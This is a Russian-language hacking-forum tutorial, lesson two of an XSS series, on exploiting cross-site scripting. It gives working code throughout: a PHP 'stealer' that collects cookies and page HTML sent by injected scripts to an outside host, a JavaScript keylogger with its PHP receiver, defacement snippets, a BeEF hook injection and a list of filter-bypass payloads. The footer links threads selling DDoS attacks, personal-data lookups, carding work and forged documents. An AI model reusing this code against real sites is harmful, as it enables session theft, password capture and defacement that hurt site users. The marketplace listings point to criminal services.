Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода ф

klobald

Original poster
Pro Member
Сообщения
134
Реакции
123
Посетить сайт
Кража данных с помощью XSS и их передача на удалённый сервер
Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.

Для приёма и показа данных я буду использовать следующий код:
Код:
<?php

 

#error_reporting(0);

 

$filename = 'log.txt';

$password = 'pass';

 

if (!file_exists($filename)) {

    if ($fh = fopen($filename, 'w')) {

        fclose($fh);

    }

}

 

if (isset($_GET['c'])) {

    $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL;

    $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL;

    $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL;

    $content .= PHP_EOL . PHP_EOL;

    file_put_contents($filename, $content, FILE_APPEND | LOCK_EX);

}

 

if (isset($_GET['p'])) {

 

    if ($_GET['p'] == $password) {

        if (isset($_GET['rm'])) {

            unlink($filename);

        } else {

            $data = file_get_contents($filename);

            $convert = explode("\n", $data);

            for ($i = 0; $i < count($convert); $i++) {

                echo $convert[$i] . '</br>';

            }

        }

    }

}

Я сохранил его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.

В строках
Код:
$filename = 'log.txt';

$password = 'pass';

Устанавливаются файл для хранения данных и пароль (pass).

Для передачи данных используется переменная c, например:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

данные


Для просмотра полученных данных:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Для очистки файла с захваченными данными:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Уязвимость мы будем эксплуатировать в приложении

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Сборщик данных я разместил по адресу

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
Код:
<script>new Image().src="http://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>

Размещаем:

303.jpg

Получаем результат:

304.jpg

Можно украсть весь HTML код:
Код:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>


Или отдельные элементы:
Код:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.getElementById('idSystemInformationHeading').innerHTML));</script>

Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.


Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
Код:
<script>document.body.innerHTML=""</script>

305.jpg

А так без содержимого будет только выбранный элемент:
Код:
<script>document.getElementById('idSystemInformationHeading').innerHTML=""</script>


Можно поменять содержимое сайта на своё:
Код:
<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>

306.jpg

Добавить что-то от себя:
Код:
<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>


307.jpg

И делать что-угодно со стилями.


Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.

Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.

На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:

Исходный код exploit.js:
Код:
var keys = '';

document.onkeypress = function (e) {

    var get = window.event ? event : e;

    var key = get.keyCode ? get.keyCode : get.charCode;

    key = String.fromCharCode(key);

    keys += key;

};

window.setInterval(function () {

    new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;

    keys = '';

}, 1000);

Обратите внимание на строку:
Код:
new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;



Вместо miloserdov.org вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.

Второй файл exploit.php:
Код:
<?php



$password = 'pass';

 

if (!file_exists('keylog.txt')) {

    if ($fh = fopen('keylog.txt', 'w')) {

        fclose($fh);

    }

}

 

if (!empty($_GET['keylog'])) {

    $logfile = fopen('keylog.txt', 'a+');

    fwrite($logfile, $_GET['keylog']);

    fclose($logfile);

}

 

if (isset($_GET['p'])) {

 

    if ($_GET['p'] == $password) {

        if (isset($_GET['rm'])) {

            unlink('keylog.txt');

        } else {

            $data = file_get_contents('keylog.txt');

            $convert = explode("\n", $data);

            for ($i = 0; $i < count($convert); $i++) {

                echo $convert[$i] . '</br>';

            }

        }

    }

}

В нём можно ничего не менять – разве пароль установите на свой.

В сайте с имеющейся хранимой XSS мы вводим:
Код:
<script src="http://miloserdov.org/exploit.js"></script>


Обратите внимание на адрес –

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

– вам нужно заменить его на свой.

Вводим:

401.jpg



Просматриваем результат:

402.jpg



Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.

Атакующий запускает BeEF на своём сервере:
Код:
sudo beef

BeEF даёт подсказку, какой файл нужно внедрять в код:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Наш код, который мы вставляем в сайт, уязвимый к XSS:
Код:
<script src="http://192.168.1.39:3000/hook.js">


Внедняем:

501.jpg

Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:

502.jpg

Выполняем разные атаки:

503.jpg

504.jpg



Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.

Базовая полезная нагрузка XSS:
Код:
<script>alert("XSS-by-Shawar")</script>

"><script>alert("XSS-by-Shawar")</script>

"><script>alert(/XSS-by-Shawar/)</script>

Внутри тэга Script:
</script><script>alert("XSS by Shawar")</script>

");alert("xss-by-shawar");//

Обход ограничения тэга script путём замены регистра:
Код:
"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)>

"><ScRiPt>alert("xss by shawar")</sCrIpT>

XSS с использованием тэгов Image и HTML:

Работает только в Chrome
Код:
"><detials ontoggle=confirm(0)>

"><IMG SRC=x onerror=javascript:alert(&quot;XSS-by-Shawar&quot;)>

"><img onmouseover=alert(“XSS by Shawar”)>

"><test onclick=alert(/xss-by-shawar/)>clickme</test>

"><a href=javascript:alert(/xss-by-shawar/)clickme</a>

"><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1>

"><svg/onload=prompt("XSS by Shawar Khan")>

"><body/onload=alert("XSS by shawar")>

В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)

Если input внутри тэга <style>:
Код:
body{xss:expression(alert("XSS by Shawar Khan"))}


Если input внутри атрибута style=" ":
Код:
xss:expression(alert(/xss-by-shawar/)


Обход фильтрации тэга script:
Код:
<<SCRIPT>alert("XSS by Shawar");//<</SCRIPT>

%253script%253ealert(/xss-by-shawar/)%253c/script%253e

"><s"%2b”cript>alert(/xss-by-shawar/)</script>

foo<script>alert(/xss-by-shawar/)</script>

<scr<script>ipt>alert(/xss-by-shawar/)</scr</script>ipt>

Продвинутая полезная нагрузка:
Код:
"><IMG SRC=x onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

"><a XSS-test href=jAvAsCrIpT&colon;prompt&lpar;/XSS-by-Shawar/&rpar;>ClickMe

"><h1/onclick=au006ceru0074(/xss-by-shawar/)>clickme</h1>

"><a id="a"href=javascript&colon;au006ceru0074&lpar;/xss-by-shawar/&rpar; id="xss-test">Click me</a>#a <

<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">clickme

Некоторые альтернативы полезных ключевых слов:
Код:
alert = au006ceru0074

prompt = pu0072omu0070u0074

confirm = cou006efiru006d

javascript = j&#x00041vascr&#x00069pt

: = &colon;

( = &lpar;

) = &rpar;

использование alert(/xss/) в ссылке = alert%28 /xss/%29 example: <a href="javascript:alert%28 /xss/%29">clickme

base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+


Следующий урок скоро будет
P.s: И даже не думай использовать этот урок что бы хацкнуть hhide.su:D
P.p.s: Все равно ничего не получится)
 
  • Like
Реакции: Forevonly
Название темы
Автор Заголовок Раздел Ответы Дата
klobald Уроки по XSS: Урок 3. Контексты внедрения XSS Уязвимости и взлом 0
klobald Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов Уязвимости и взлом 0
Файт Уроки по C# .NET 2
P Видео-Уроки по С# Полезные статьи 8
Olie Уроки по HTML & CSS Другие ЯП 1
yaNaSvyazi [Pascio] Курс по работе с ChatGPT (2023) Способы заработка 0
MAESTRO_INFO На проверке MAESTRO - Поиск и сбор информации по всем структурам!!! Пробив информации/Прозвоны 1
Nstiwiq ⚡️Комплексное продвижение вашего магазина ВКонтакте по выгодной цене!⚡️ Ищу работу. Предлагаю свои услуги. 2
Bituniverse Bituniverse.top - Надёжный и быстрый сервис по обмену электронной валюты. Обменники 0
MRX_pp ✅ WORK! Набор в команду - вбиваем по европе! (кардинг) строго 21+ Предоставляю работу. Ищу специалиста. 1
yaNaSvyazi Курс по Яндекс Дзену Rerzen 4.0 (2023 Способы заработка 0
yaNaSvyazi [Fundstate] Артём Первушин — Полный курс по прибыльному трейдингу Способы заработка 0
Mr Crabs Продам Telegram парсер участников чата по сообщениям Сайты/Хостинг/Сервера 0
R Продам Пробив по USA ssn/dob/name/zip code/telephone/ Пробив информации/Прозвоны 1
Eliot_lite.373 Ищу работу в сфере penetration tester, по w/b направлениям. Ищу работу. Предлагаю свои услуги. 0
JustProxy Продам JustProxy.Biz - Резидентные прокси без ограничения по трафику Дедики/VPN/соксы/ssh 1
Ёшкин_кот Интересно Бомбер по Ватсапу. Вопросы и интересы 2
Shainy На проверке Shainy DDoS Service / Заказать DDOS услуги по приятной цене.Купить DDOS атаку.DDOS Услуги. / 24/7 / Гарант. Ищу работу. Предлагаю свои услуги. 1
T Вакансия: Менеджер по продажам [Удаленно] [$3000+/мес]. Предоставляю работу. Ищу специалиста. 1
Exmymoney Exmymoney.com - Сервис по обмену криптовалюты онлайн Обменники 0
Z Мне нужны услуги по взлому Instagram Предоставляю работу. Ищу специалиста. 1
Black Secret Club Закрыто ⚡️Экосистема по оказанию теневых услуг⚡️ Корзина 4
HIDE MARKET Закрыто HIDE MARKET |Анонимные посылки СДЭК ID.| Пробив по СДЭК. Корзина 1
L Ищу Единомышленников по заработку! Корзина 0
Z Мне нужны услуги по взлому Instagram Дедики/VPN/соксы/ssh 0
semsvm Интересно Схемы по заработку_2022 Способы заработка 0
LUCY …LUCY…Поиск и пробив любой интересующей вас информации по всем структурам. Сотовые операторы/Банки/МВД/ГИБДД/ФНС/ЗАГС/ПФР/Росреестр Пробив информации/Прозвоны 6
piratabuhta Продам Продаю юзанные комплекты(права,айди карты с двух сторон) по Сша без селфи или с селфи Аккаунты/Админки/Документы 14
Dobermаnn «DOBERMANN» - Пробив информации по Казахстану Пробив информации/Прозвоны 0
yaNaSvyazi [CRYPTOLOGY] SMART MONEY. Полный курс по смарт-мани на русском языке (2022) Способы заработка 0
TimeGood2030 Слив [Алексей Князев] 27 поток по таргетингу в ВКонтакте (2022) Способы заработка 0
D нужна услуга по атаку спам флуд DDos по адекватной ценеб плочу BTC Вопросы и интересы 1
MobileSearch Продам Отслежевание передвижения человека по фото РФ & Идентификация человека по фотографии РФ и УКР Пробив информации/Прозвоны 2
semsvm Интересно Парсер e-mail по списку сайтов Другое 0
MobileSearch Продам Пробив по СДЕК (по накладной, по фио, по номеру тел, по инн) (верификация CDEK) Пробив информации/Прозвоны 7
anyshop Банк требует документы по транзакциям по карте. Какие доки предоставить? Вопросы и интересы 1
D Отрисую пару сканов паспортов по вашим данным за простую услугу. Люди с репой!!! Свободное общение и флейм 0
fx7support ❤️Инструменты, учебники, видеоуроки по форексу, акции, крипта...FREE Другое 0
D Dvizh.com - обмен криптовалют на наличные по всему миру! Обменники 7
Cyrus I Проверено Persica Agency – Услуги по пробиву, поиску и сбору информации! Детализация, вспышка, восстановление [МТС/Теле2/YOTA/Другие операторы/Билайн/Мегафон] Пробив информации/Прозвоны 1
Cyrus I Проверено Persica Agency – Услуги по пробиву, поиску и сбору любой информации! [ГИБДД/МВД и ФМС/ФСБ/ЗАГС/ФНС/ПФР/Росреестр/НБКИ/ИНТЕРПОЛ/ЕВРОПОЛ] Пробив информации/Прозвоны 1
D Проводится складчина на покупку пака качественных шаблонов по USA для отрисовки и верефикаций сервисов. В данный момент уже есть 4 человека, кому инте Корзина 0
BullFrog Продам Пробив по РФ (МВД, ГИБДД, Банки, ФНС, ПФР, ФМС, ЗАГС, ЕГРН и другое) Пробив информации/Прозвоны 0
fox_ddos Закрыто Заказать DDOS услуги по адекватной цене. Купить DDOS атаку. DDOS Услуги. Ддос за крипту Корзина 1
Telegram Expert Закрыто TELEGRAM SOFT Gods\Expert - Многоцелевой комбайн по работе с телеграмм Корзина 1
N какая самая лучшая страна для подключения по впн? Анонимность и приватность 2
CaesarExchange Цезарь BTC | Обмен крипты | Анонимно : QR коды, Банки , Visa, Наличные по РФ | Депозит 500 тысяч руб Обменники 2
ebaybrute Интересно Вопрос по базам email Вопросы и интересы 1
CryptoGin CryptoGin - полуавтоматический сервис по обмену цифровых валют Обменники 45
adrianno Закрыто Платежная система по РУ Корзина 1

Название темы